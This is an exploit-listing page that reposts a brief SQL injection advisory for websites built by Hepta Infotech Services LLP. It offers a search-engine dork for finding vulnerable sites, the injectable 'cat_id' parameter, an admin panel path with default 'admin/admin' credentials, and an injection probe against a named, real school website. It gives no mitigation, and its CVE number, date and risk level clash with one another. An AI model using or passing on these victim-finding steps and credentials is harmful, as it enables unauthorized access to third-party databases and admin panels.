Powered By Hepta Infotech Services LLP SQL injection

CVE	Category	Price	Severity
CVE-2021-4146	CWE-89	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2020-07-21

CPE
cpe:cpe:/a:pwebserver:hepta-infotech-services-llp

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020070106

Below is a copy:

Powered By Hepta Infotech Services LLP SQL injection

[+] Powered By Hepta Infotech Services LLP SQL injection

[+] Risk: Medium

[+] Author: DexteR

[+] Vendor Homepage: http://www.hackturkiye.com


[+] Tested on: Linux / Windows
[+] Dork: intext:"Powered By Hepta Infotech Services LLP"  inurl:"gallery-details.php?cat_id="


[+] Exploit : 

        gallery-details.php?cat_id= [SQL Injection]
     
  admin Panel Login: /adminzone 
  default username password  " admin - admin "

[+] Reference:

   http://www.loretoschoolrkl.com/gallery-details.php?cat_id=8%27

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum